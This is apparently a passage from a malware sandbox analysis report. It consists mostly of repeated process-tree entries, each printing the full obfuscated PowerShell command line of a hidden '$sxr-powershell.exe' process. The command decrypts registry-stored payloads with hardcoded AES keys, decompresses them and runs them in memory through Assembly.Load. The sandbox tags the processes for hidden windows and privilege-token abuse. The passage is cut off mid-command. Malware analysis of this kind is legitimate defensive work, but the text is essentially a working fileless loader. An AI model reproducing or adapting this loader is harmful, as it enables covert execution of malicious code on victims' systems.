'').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1172
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2532
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FNruO, 0, $FNruO.Length);$FNruO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FNruO);$LRYKC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u823wux5O4Fbh5eDFp/+ca2kjBZPfjXdKRiYm5lEi1/uPVvdi4VTw3Skyjvq+xkGRh3uxdMK5Yl30J7OmCvscDDWsBj5l/abJMk7R3rtVFuMmO2mOI8eJ68DpzNoAWbwuQ8vVlvfanC/+gVlAdicm4rn+Kxx0kjBxYQkdhDX8XhlvH9ZzMTYkQh7CAVDqjxzKnDzYFw26lZKBQhJ3luRhFBABAcYg16uXMiNBWXm1Frbp6IbtOgcTJ6GmJT6oeUkTVubIhdaLB7VUJXskuFV2zuoBiAtc2u4ckc48tqLxmOJeVGxobT7YO+ZwoLAQ2B6CuhEmiJDGCKp8eDtuz1gb9zd988pQle6YLnHJpMVjNFOoRCNp14ETcLqZFSwo1TzN6HzbvND0c1LW97hv8uasfQXsb6Vx6v7acbKM+Gce90=');$LRYKC = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LRYKC, 0, $LRYKC.Length);$LRYKC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LRYKC);$oSnpH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nSzPWxfvLItLrY6odHpw1Q==');$oSnpH = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oSnpH, 0, $oSnpH.Length);$oSnpH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oSnpH);$AarSr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2IqKtZxS/FqcdHbBUDZbWg==');$AarSr = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AarSr, 0, $AarSr.Length);$AarSr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AarSr);$jKHVk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bw7IB5l0nDJz4V/yoKrAmg==');$jKHVk = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jKHVk, 0, $jKHVk.Length);$jKHVk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jKHVk);$BvkGZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AF0yFBzJZFVK0sW/C+0yOA==');$BvkGZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BvkGZ, 0, $BvkGZ.Length);$BvkGZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BvkGZ);$KJTnP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IzMxK6yRkvNAq3b86ckOZw==');$KJTnP = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KJTnP, 0, $KJTnP.Length);$KJTnP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KJTnP);$TjsNY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XQk0rQ8HHWmKAJLDXLuouQ==');$TjsNY0 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY0, 0, $TjsNY0.Length);$TjsNY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY0);$TjsNY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('owtqeXTsnLcs3cgKbzagCA==');$TjsNY1 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY1, 0, $TjsNY1.Length);$TjsNY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY1);$TjsNY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2RVrgdRC9/qmCG1cuVpcPg==');$TjsNY2 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY2, 0, $TjsNY2.Length);$TjsNY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY2);$TjsNY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Bl9qQJYdA2YNQzYMsVAcjg==');$TjsNY3 = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY3, 0, $TjsNY3.Length);$TjsNY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY3);$qGrKR.Dispose();$pdyuP1.Dispose();$TSIUN = [Microsoft.Win32.Registry]::$BvkGZ.$jKHVk($TjsNY).$AarSr($qvqLZ);$yZizz=[string[]]$TSIUN.Split('\');$yPDZH=FCxri(pxzLS([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[1])));OSlRe $yPDZH (,[string[]] ('%*'));$QEiEV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($yZizz[0]);$pdyuP = New-Object System.Security.Cryptography.AesManaged;$pdyuP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$FYZzj = $pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')();$QEiEV = $FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QEiEV, 0, $QEiEV.Length);$FYZzj.Dispose();$pdyuP.Dispose();$NTbes = New-Object System.IO.MemoryStream(, $QEiEV);$DmFpj = New-Object System.IO.MemoryStream;$FsdiJ = New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::$TjsNY1);$FsdiJ.$KJTnP($DmFpj);$FsdiJ.Dispose();$NTbes.Dispose();$DmFpj.Dispose();$QEiEV = $DmFpj.ToArray();$soNjb = $LRYKC | IEX;$HlzxU = $soNjb::$TjsNY2($QEiEV);$rrXdx = $HlzxU.EntryPoint;$rrXdx.$TjsNY0($null, (, [string[]] ($FNruO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5076
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1520).WaitForExit();[System.Threading.Thread]::Sleep(5000); function pxzLS($faFmv){ $pdyuP=[System.Security.Cryptography.Aes]::Create(); $pdyuP.Mode=[System.Security.Cryptography.CipherMode]::CBC; $pdyuP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $pdyuP.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s='); $pdyuP.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw=='); $FYZzj=$pdyuP.('rotpyrceDetaerC'[-1..-15] -join '')(); $KNYFp=$FYZzj.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($faFmv, 0, $faFmv.Length); $FYZzj.Dispose(); $pdyuP.Dispose(); $KNYFp;}function FCxri($faFmv){ $NTbes=New-Object System.IO.MemoryStream(,$faFmv); $DmFpj=New-Object System.IO.MemoryStream; $FsdiJ=New-Object System.IO.Compression.GZipStream($NTbes, [IO.Compression.CompressionMode]::Decompress); $FsdiJ.CopyTo($DmFpj); $FsdiJ.Dispose(); $NTbes.Dispose(); $DmFpj.Dispose(); $DmFpj.ToArray();}function OSlRe($faFmv,$leBfz){ $HlzxU=[System.Reflection.Assembly]::Load([byte[]]$faFmv); $rrXdx=$HlzxU.EntryPoint; $rrXdx.Invoke($null, $leBfz);}$pdyuP1 = New-Object System.Security.Cryptography.AesManaged;$pdyuP1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pdyuP1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pdyuP1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OxaIu4LBH0NHXzEF0JWKUmNYy+n9ONi+4jCixaR9o/s=');$pdyuP1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uNCooA8rmnbarKZacn6rVw==');$qGrKR = $pdyuP1.('rotpyrceDetaerC'[-1..-15] -join '')();$TjsNY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('d6Q+LrrhAwyK1uipjOqPxg==');$TjsNY = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TjsNY, 0, $TjsNY.Length);$TjsNY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TjsNY);$qvqLZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('69yeuXffs7ux/zA0YMGKH3dmXSz0P4vgJbmfiMXrzCM=');$qvqLZ = $qGrKR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qvqLZ, 0, $qvqLZ.Length);$qvqLZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qvqLZ);$FNruO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WyXwngz2uglRO6ZAcrg6Ag==');$FNruO = 